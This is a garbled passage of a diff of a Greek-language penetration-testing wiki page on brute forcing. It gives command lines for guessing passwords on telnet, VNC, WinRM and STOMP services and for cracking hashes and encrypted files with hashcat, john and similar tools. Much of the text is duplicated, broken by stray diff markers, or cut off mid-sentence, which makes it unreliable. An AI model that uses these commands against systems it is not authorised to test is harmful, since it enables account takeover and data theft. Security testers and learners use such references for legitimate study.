Ορισμένα συστήματα έχουν γνωστές ελαττώσεις στον τυχαίο σπόρο που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να οδηγήσει σε μειωμένο χώρο κλειδιών που μπορεί να αποδοθεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Επίσης, υπάρχουν προ-δημιουργημένα σύνολα αδύναμων κλειδιών όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
Ορισμένα συστήματα έχουν γνωστές ελαττώσεις στον τυχαίο σπόρο που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να οδηγήσει σε μειωμένο χώρο κλειδιών που μπορεί να αποδοθεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Επίσης, υπάρχουν προ-δημιουργημένα σύνολα αδύναμων κλειδιών όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||||
|
@ -465,12 +555,15 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
||||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ και OpenMQ)
|
### STOMP (ActiveMQ, RabbitMQ, HornetQ και OpenMQ)
|
||||||
|
|
||||||
Το πρωτόκολλο κειμένου STOMP είναι ένα ευρέως χρησιμοποιούμενο πρωτόκολλο μηνυμάτων που **επιτρέπει απρόσκοπτη επικοινωνία και αλληλεπίδραση με δημοφιλείς υπηρεσίες ουράς μηνυμάτων** όπως το RabbitMQ, το ActiveMQ, το HornetQ και το OpenMQ. Παρέχει μια τυποποιημένη και αποτελεσματική προσέγγιση για την ανταλλαγή μηνυμάτων και την εκτέλεση διάφορων λειτουργιών μηνυμάτων.
|
Το πρωτόκολλο κειμένου STOMP είναι ένα ευρέως χρησιμοποιούμενο πρωτόκολλο μηνυμάτων που **επιτρέπει απρόσκοπτη επικοινωνία και αλληλεπίδραση με δημοφιλείς υπηρεσίες ουράς μηνυμάτων** όπως το RabbitMQ, το ActiveMQ, το HornetQ και το OpenMQ. Παρέχει μια τυποποιημένη και αποτελεσματική προσέγγιση για την ανταλλαγή μηνυμάτων και την εκτέλεση διάφορων λειτουργιών μηνυμάτων.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### Telnet
|
### Telnet
|
||||||
|
|
||||||
Telnet είναι ένα πρωτόκολλο δικτύου που επιτρέπει σε έναν χρήστη να συνδεθεί σε έναν απομακρυσμένο υπολογιστή ή συσκευή και να αλληλεπιδράσει μαζί του μέσω κοινών εντολών κειμένου.
|
Telnet είναι ένα πρωτόκολλο δικτύου που επιτρέπει σε έναν χρήστη να συνδεθεί σε έναν απομακρυσμένο υπολογιστή ή συσκευή και να αλληλεπιδράσει μαζί του μέσω κοινών εντολών κειμένου.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||||
|
@ -485,9 +578,11 @@ legba telnet \
|
||||||
--telnet-prompt ":~$ " \
|
--telnet-prompt ":~$ " \
|
||||||
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
|
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
|
||||||
```
|
```
|
||||||
|
|
||||||
### VNC
|
### VNC
|
||||||
|
|
||||||
### VNC
|
### VNC
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||||
|
@ -502,10 +597,13 @@ use auxiliary/scanner/vnc/vnc_login
|
||||||
set RHOSTS <ip>
|
set RHOSTS <ip>
|
||||||
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||||
```
|
```
|
||||||
|
|
||||||
### Winrm
|
### Winrm
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
|
@ -533,6 +631,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||||
Ελέγξτε αυτά πριν δοκιμάσετε να κάνετε brute force ενός Hash.
|
Ελέγξτε αυτά πριν δοκιμάσετε να κάνετε brute force ενός Hash.
|
||||||
|
|
||||||
### ZIP
|
### ZIP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#sudo apt-get install fcrackzip
|
#sudo apt-get install fcrackzip
|
||||||
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
|
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
|
||||||
|
@ -548,10 +647,12 @@ john zip.john
|
||||||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Επίθεση γνωστού κειμένου σε αρχείο zip
|
#### Επίθεση γνωστού κειμένου σε αρχείο zip
|
||||||
|
|
||||||
Χρειάζεστε να γνωρίζετε το **καθαρό κείμενο** (ή μέρος του καθαρού κειμένου) **ενός αρχείου που περιέχεται μέσα** στο κρυπτογραφημένο zip. Μπορείτε να ελέγξετε τα **ονόματα αρχείων και το μέγεθος των αρχείων που περιέχονται μέσα** σε ένα κρυπτογραφημένο zip τρέχοντας: **`7z l encrypted.zip`**\
|
Χρειάζεστε να γνωρίζετε το **καθαρό κείμενο** (ή μέρος του καθαρού κειμένου) **ενός αρχείου που περιέχεται μέσα** στο κρυπτογραφημένο zip. Μπορείτε να ελέγξετε τα **ονόματα αρχείων και το μέγεθος των αρχείων που περιέχονται μέσα** σε ένα κρυπτογραφημένο zip τρέχοντας: **`7z l encrypted.zip`**\
|
||||||
Κατεβάστε το [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) από τη σελίδα κυκλοφορίας.
|
Κατεβάστε το [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) από τη σελίδα κυκλοφορίας.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||||
zip plaintext.zip plaintext.file
|
zip plaintext.zip plaintext.file
|
||||||
|
@ -563,11 +664,13 @@ zip plaintext.zip plaintext.file
|
||||||
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
|
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
|
||||||
unzip unlocked.zip #User new_pwd as password
|
unzip unlocked.zip #User new_pwd as password
|
||||||
```
|
```
|
||||||
|
|
||||||
### 7z
|
### 7z
|
||||||
|
|
||||||
### Κωδική δύναμη
|
### Κωδική δύναμη
|
||||||
|
|
||||||
Η κωδική δύναμη είναι μια τεχνική επίθεσης που στοχεύει στη διαπραγμάτευση των κωδικών πρόσβασης με τη δοκιμή όλων των πιθανών συνδυασμών μέχρι να βρεθεί ο σωστός κωδικός.
|
Η κωδική δύναμη είναι μια τεχνική επίθεσης που στοχεύει στη διαπραγμάτευση των κωδικών πρόσβασης με τη δοκιμή όλων των πιθανών συνδυασμών μέχρι να βρεθεί ο σωστός κωδικός.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||||
```
|
```
|
||||||
|
@ -578,9 +681,11 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo
|
||||||
apt-get install libcompress-raw-lzma-perl
|
apt-get install libcompress-raw-lzma-perl
|
||||||
./7z2john.pl file.7z > 7zhash.john
|
./7z2john.pl file.7z > 7zhash.john
|
||||||
```
|
```
|
||||||
|
|
||||||
### PDF
|
### PDF
|
||||||
|
|
||||||
Η βίαιη επίθεση (brute force attack) είναι μια τεχνική όπου ο εισβολέας δοκιμάζει συνεχώς διαφορετικούς κωδικούς πρόσβασης μέχρι να βρει τον σωστό. Αυτή η μέθοδος μπορεί να χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε προστατευμένες πληροφορίες όπως αρχεία PDF.
|
Η βίαιη επίθεση (brute force attack) είναι μια τεχνική όπου ο εισβολέας δοκιμάζει συνεχώς διαφορετικούς κωδικούς πρόσβασης μέχρι να βρει τον σωστό. Αυτή η μέθοδος μπορεί να χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε προστατευμένες πληροφορίες όπως αρχεία PDF.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
apt-get install pdfcrack
|
apt-get install pdfcrack
|
||||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||||
|
@ -589,11 +694,13 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||||
sudo apt-get install qpdf
|
sudo apt-get install qpdf
|
||||||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||||
```
|
```
|
||||||
|
|
||||||
### Κωδικός Ιδιοκτήτη PDF
|
### Κωδικός Ιδιοκτήτη PDF
|
||||||
|
|
||||||
Για να σπάσετε έναν κωδικό ιδιοκτήτη PDF ελέγξτε αυτό: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
Για να σπάσετε έναν κωδικό ιδιοκτήτη PDF ελέγξτε αυτό: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||||
|
|
||||||
### JWT
|
### JWT
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/Sjord/jwtcrack.git
|
git clone https://github.com/Sjord/jwtcrack.git
|
||||||
cd jwtcrack
|
cd jwtcrack
|
||||||
|
@ -605,13 +712,17 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
|
||||||
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
||||||
john jwt.john #It does not work with Kali-John
|
john jwt.john #It does not work with Kali-John
|
||||||
```
|
```
|
||||||
|
|
||||||
### Αποκωδικοποίηση NTLM
|
### Αποκωδικοποίηση NTLM
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||||
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
||||||
```
|
```
|
||||||
|
|
||||||
### Keepass
|
### Keepass
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||||||
keepass2john file.kdbx > hash #The keepass is only using password
|
keepass2john file.kdbx > hash #The keepass is only using password
|
||||||
|
@ -619,24 +730,30 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
|
||||||
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
|
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
|
||||||
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
||||||
```
|
```
|
||||||
|
|
||||||
### Χτυπώντας το Keberoasting
|
### Χτυπώντας το Keberoasting
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||||
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
||||||
```
|
```
|
||||||
|
|
||||||
### Εικόνα Lucks
|
### Εικόνα Lucks
|
||||||
|
|
||||||
#### Μέθοδος 1
|
#### Μέθοδος 1
|
||||||
|
|
||||||
Εγκατάσταση: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
Εγκατάσταση: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
bruteforce-luks -f ./list.txt ./backup.img
|
bruteforce-luks -f ./list.txt ./backup.img
|
||||||
cryptsetup luksOpen backup.img mylucksopen
|
cryptsetup luksOpen backup.img mylucksopen
|
||||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||||
mount /dev/mapper/mylucksopen /mnt
|
mount /dev/mapper/mylucksopen /mnt
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Μέθοδος 2
|
#### Μέθοδος 2
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
|
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
|
||||||
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
|
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
|
||||||
|
@ -645,19 +762,24 @@ cryptsetup luksOpen backup.img mylucksopen
|
||||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||||
mount /dev/mapper/mylucksopen /mnt
|
mount /dev/mapper/mylucksopen /mnt
|
||||||
```
|
```
|
||||||
|
|
||||||
Άλλος οδηγός Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
Άλλος οδηγός Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
||||||
|
|
||||||
### Mysql
|
### Mysql
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#John hash format
|
#John hash format
|
||||||
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
||||||
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
|
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ιδιωτικό κλειδί PGP/GPG
|
### Ιδιωτικό κλειδί PGP/GPG
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
||||||
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||||
```
|
```
|
||||||
|
|
||||||
### Cisco
|
### Cisco
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -672,6 +794,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||||
|
|
||||||
* **Ανεβάστε το στο google drive** και ο κωδικός πρόσβασης θα αφαιρεθεί αυτόματα
|
* **Ανεβάστε το στο google drive** και ο κωδικός πρόσβασης θα αφαιρεθεί αυτόματα
|
||||||
* Για να τον **καταργήσετε** **χειροκίνητα**:
|
* Για να τον **καταργήσετε** **χειροκίνητα**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
unzip file.xlsx
|
unzip file.xlsx
|
||||||
grep -R "sheetProtection" ./*
|
grep -R "sheetProtection" ./*
|
||||||
|
@ -680,17 +803,20 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV
|
||||||
# Remove that line and rezip the file
|
# Remove that line and rezip the file
|
||||||
zip -r file.xls .
|
zip -r file.xls .
|
||||||
```
|
```
|
||||||
|
|
||||||
### Πιστοποιητικά PFX
|
### Πιστοποιητικά PFX
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# From https://github.com/Ridter/p12tool
|
# From https://github.com/Ridter/p12tool
|
||||||
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
|
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
|
||||||
# From https://github.com/crackpkcs12/crackpkcs12
|
# From https://github.com/crackpkcs12/crackpkcs12
|
||||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||||
```
|
```
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
|
||||||
Αποκτήστε πρόσβαση σήμερα:
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -700,10 +826,12 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||||
**Παραδείγματα κατακερματισμού:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
**Παραδείγματα κατακερματισμού:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||||
|
|
||||||
### Αναγνωριστής κατακερματισμού
|
### Αναγνωριστής κατακερματισμού
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hash-identifier
|
hash-identifier
|
||||||
> <HASH>
|
> <HASH>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Λίστες Λέξεων
|
### Λίστες Λέξεων
|
||||||
|
|
||||||
* **Rockyou**
|
* **Rockyou**
|
||||||
|
@ -714,16 +842,20 @@ hash-identifier
|
||||||
### **Εργαλεία Δημιουργίας Λιστών Λέξεων**
|
### **Εργαλεία Δημιουργίας Λιστών Λέξεων**
|
||||||
|
|
||||||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Γεννήτρια περιπάτου πληκτρολογίου με προηγμένες ρυθμίσεις για βασικούς χαρακτήρες, χάρτη πλήκτρων και διαδρομές.
|
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Γεννήτρια περιπάτου πληκτρολογίου με προηγμένες ρυθμίσεις για βασικούς χαρακτήρες, χάρτη πλήκτρων και διαδρομές.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### John μετάλλαξη
|
### John μετάλλαξη
|
||||||
|
|
||||||
Διαβάστε _**/etc/john/john.conf**_ και ρυθμίστε το.
|
Διαβάστε _**/etc/john/john.conf**_ και ρυθμίστε το.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
||||||
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||||
```
|
```
|
||||||
|
|
||||||
### Hashcat
|
### Hashcat
|
||||||
|
|
||||||
#### Επιθέσεις Hashcat
|
#### Επιθέσεις Hashcat
|
||||||
|
@ -731,13 +863,16 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||||
* **Επίθεση με λίστα λέξεων** (`-a 0`) με κανόνες
|
* **Επίθεση με λίστα λέξεων** (`-a 0`) με κανόνες
|
||||||
|
|
||||||
**Το Hashcat** έρχεται ήδη με ένα **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
**Το Hashcat** έρχεται ήδη με ένα **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||||
|
|
||||||
```
|
```
|
||||||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||||
```
|
```
|
||||||
|
|
||||||
* **Επίθεση με συνδυασμό λιστών λέξεων**
|
* **Επίθεση με συνδυασμό λιστών λέξεων**
|
||||||
|
|
||||||
Είναι δυνατόν να **συνδυάσετε 2 λίστες λέξεων σε 1** με το hashcat.\
|
Είναι δυνατόν να **συνδυάσετε 2 λίστες λέξεων σε 1** με το hashcat.\
|
||||||
Αν η λίστα 1 περιείχε τη λέξη **"hello"** και η δεύτερη περιείχε 2 γραμμές με τις λέξεις **"world"** και **"earth"**. Οι λέξεις `helloworld` και `helloearth` θα δημιουργηθούν.
|
Αν η λίστα 1 περιείχε τη λέξη **"hello"** και η δεύτερη περιείχε 2 γραμμές με τις λέξεις **"world"** και **"earth"**. Οι λέξεις `helloworld` και `helloearth` θα δημιουργηθούν.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# This will combine 2 wordlists
|
# This will combine 2 wordlists
|
||||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||||
|
@ -748,7 +883,9 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||||
## hello-earth!
|
## hello-earth!
|
||||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
|
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
|
||||||
```
|
```
|
||||||
|
|
||||||
* **Επίθεση μάσκας** (`-a 3`)
|
* **Επίθεση μάσκας** (`-a 3`)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Mask attack with simple mask
|
# Mask attack with simple mask
|
||||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
|
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
|
||||||
|
@ -780,7 +917,9 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
|
||||||
## Use it to crack the password
|
## Use it to crack the password
|
||||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
||||||
```
|
```
|
||||||
|
|
||||||
* Επίθεση με λίστα λέξεων + Μάσκα (`-a 6`) / Μάσκα + Λίστα Λέξεων (`-a 7`)
|
* Επίθεση με λίστα λέξεων + Μάσκα (`-a 6`) / Μάσκα + Λίστα Λέξεων (`-a 7`)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Mask numbers will be appended to each word in the wordlist
|
# Mask numbers will be appended to each word in the wordlist
|
||||||
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||||
|
@ -788,26 +927,33 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||||
# Mask numbers will be prepended to each word in the wordlist
|
# Mask numbers will be prepended to each word in the wordlist
|
||||||
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Τρόποι Hashcat
|
#### Τρόποι Hashcat
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Brute Forcing Linux Hashes
|
## Brute Forcing Linux Hashes
|
||||||
|
|
||||||
Η επίθεση με brute force στοιχεία είναι μια από τις πιο δημοφιλείς τεχνικές για την απόκτηση πρόσβασης σε κρυπτογραφημένα δεδομένα, όπως οι κωδικοί πρόσβασης. Στην περίπτωση του Linux, οι κωδικοί πρόσβασης αποθηκεύονται στο αρχείο `/etc/shadow` με κρυπτογραφημένη μορφή. Ο στόχος είναι να χρησιμοποιήσουμε ένα πρόγραμμα για να δοκιμάσουμε διαδοχικά διάφορους κωδικο
|
Η επίθεση με brute force στοιχεία είναι μια από τις πιο δημοφιλείς τεχνικές για την απόκτηση πρόσβασης σε κρυπτογραφημένα δεδομένα, όπως οι κωδικοί πρόσβασης. Στην περίπτωση του Linux, οι κωδικοί πρόσβασης αποθηκεύονται στο αρχείο `/etc/shadow` με κρυπτογραφημένη μορφή. Ο στόχος είναι να χρησιμοποιήσουμε ένα πρόγραμμα για να δοκιμάσουμε διαδοχικά διάφορους κωδικο
|
||||||
|
|
||||||
```
|
```
|
||||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
